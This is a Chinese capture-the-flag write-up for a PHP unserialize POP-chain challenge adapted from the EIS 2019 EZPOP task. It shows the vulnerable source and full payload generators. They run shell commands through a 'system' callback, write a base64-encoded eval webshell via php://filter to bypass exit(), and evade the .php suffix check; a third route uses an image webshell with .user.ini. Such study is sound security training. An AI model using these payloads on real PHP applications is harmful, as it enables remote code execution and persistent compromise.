• [2020 新春红包题]1


    0x00 知识点

    反序列化 构造pop链
    改编自
    2019全国大学生安全运维赛 EZPOP

    0x01解题

    题目给了我们源码

     <?php
    error_reporting(0);
    
    class A {
    
        protected $store;
    
        protected $key;
    
        protected $expire;
    
        public function __construct($store, $key = 'flysystem', $expire = null) {
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
    
        public function cleanContents(array $contents) {
            $cachedProperties = array_flip([
                'path', 'dirname', 'basename', 'extension', 'filename',
                'size', 'mimetype', 'visibility', 'timestamp', 'type',
            ]);
    
            foreach ($contents as $path => $object) {
                if (is_array($object)) {
                    $contents[$path] = array_intersect_key($object, $cachedProperties);
                }
            }
    
            return $contents;
        }
    
        public function getForStorage() {
            $cleaned = $this->cleanContents($this->cache);
    
            return json_encode([$cleaned, $this->complete]);
        }
    
        public function save() {
            $contents = $this->getForStorage();
    
            $this->store->set($this->key, $contents, $this->expire);
        }
    
        public function __destruct() {
            if (!$this->autosave) {
                $this->save();
            }
        }
    }
    
    class B {
    
        protected function getExpireTime($expire): int {
            return (int) $expire;
        }
    
        public function getCacheKey(string $name): string {
            // 使缓存文件名随机
            $cache_filename = $this->options['prefix'] . uniqid() . $name;
            if(substr($cache_filename, -strlen('.php')) === '.php') {
              die('?');
            }
            return $cache_filename;
        }
    
        protected function serialize($data): string {
            if (is_numeric($data)) {
                return (string) $data;
            }
    
            $serialize = $this->options['serialize'];
    
            return $serialize($data);
        }
    
        public function set($name, $value, $expire = null): bool{
            $this->writeTimes++;
    
            if (is_null($expire)) {
                $expire = $this->options['expire'];
            }
    
            $expire = $this->getExpireTime($expire);
            $filename = $this->getCacheKey($name);
    
            $dir = dirname($filename);
    
            if (!is_dir($dir)) {
                try {
                    mkdir($dir, 0755, true);
                } catch (Exception $e) {
                    // 创建失败
                }
            }
    
            $data = $this->serialize($value);
    
            if ($this->options['data_compress'] && function_exists('gzcompress')) {
                //数据压缩
                $data = gzcompress($data, 3);
            }
    
            $data = "<?php
    //" . sprintf('%012d', $expire) . "
     exit();?>
    " . $data;
            $result = file_put_contents($filename, $data);
    
            if ($result) {
                return $filename;
            }
    
            return null;
        }
    
    }
    
    if (isset($_GET['src']))
    {
        highlight_file(__FILE__);
    }
    
    $dir = "uploads/";
    
    if (!is_dir($dir))
    {
        mkdir($dir);
    }
    unserialize($_GET["data"]);
    

    先贴上师傅链接

    https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

    首先可以看到 序列化A,当A::autosave==false成立时在 __destruct 中调用了A::save()

    A::save()中调用了A::store->set(),将A::store赋值为一个B对象,即可调用B::set()。

    B::set()可以写入文件,注意这里:原题中文件名(以及路径)和文件内容后半部分可控。但是我们此题修改了一下使得文件名随机,并且比较了后缀并限制了后缀不能为php

     public function getCacheKey(string $name): string {
            // 使缓存文件名随机
            $cache_filename = $this->options['prefix'] . uniqid() . $name;
            if(substr($cache_filename, -strlen('.php')) === '.php') {
              die('?');
            }
            return $cache_filename;
        }
    

    文件内容前半部分中,存在一个exit(),会导致写入的webshell无法执行

    利用base64_decode以及php://filter可以绕过

    通过php://filter/write=convert.base64-decode将文件内容解码后写入,bypass exit。

    然后回溯看看$filename和$data是怎么处理的。
    $filename:

    用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name构成filename

    $data:

    108行拼接前半部分,通过上面的方法bypass。

    97行调用B::serialize($value),$value是B::set($name, $value, $expire = null)的参数。

    B::serialize($value)调用B::options'serialize'处理了$value。

    再看$value:

    $value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
    A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
    由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode。
    所以将shellcode经过base64编码,B::options['serialize']赋值为base64_decode。

    跟着师傅链接分析了一下,

    payload:

    直接打命令进去,生成flag文件 获取flag

    <?php
    class A{
        protected $store;
        protected $key;
        protected $expire;
        public $cache = [];
        public $complete = true;
        public function __construct () {
            $this->store = new B();
            $this->key = '/../wtz.phtml';
            $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
        }
    }
    class B{
        public $options = [
            'serialize' => 'system',
            'prefix' => 'sssss',
        ];
    }
    echo urlencode(serialize(new A()));
    
    

    payload2:

    绕过php后缀:
    在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。

    <?php
    class A{
        protected $store;
        protected $key;
        protected $expire;
        public function __construct()
        {
            $this->key = '/../wtz.php/.';
        }
        public function start($tmp){
            $this->store = $tmp;
        }
    }
    class B{
        public $options;
    }
    
    $a = new A();
    $b = new B();
    $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
    $b->options['expire'] = 11;
    $b->options['data_compress'] = false;
    $b->options['serialize'] = 'strval';
    $a->start($b);
    $object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
    $path = '111';
    $a->cache = array($path=>$object);
    $a->complete = '2';
    echo urlencode(serialize($a));
    ?>
    


    解法三:
    先写一个图片马
    再写一个解析 .user.ini
    使图片马作为 php 执行
    链接:

    http://althims.com/2020/01/29/buu-new-year/

    参考链接:

    http://althims.com/2020/01/29/buu-new-year/
    https://www.suk1.top/2020/01/31/2020新春红包/
    http://www.rayi.vip/2019/11/27/EIS 2019/
    https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

  • 相关阅读:
    linux挂载数据盘
    Linux删除文件空间不释放问题解决
    有关智能指针(shared_ptr)的讨论
    C++函数参数传递方式(Effective C++之20, 21)
    禁用编译器自动生成的函数(Effective C++之06)
    C++编译器自动生成的函数(Effective C++之05)
    20192409潘则宇汇编语言程序设计前四章学习总结
    20192409潘则宇 实验一 逆向破解与BOF实验总结
    测试常见问题
    学习嵌入式的点滴(三)
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12337443.html
Copyright © 2020-2023  润新知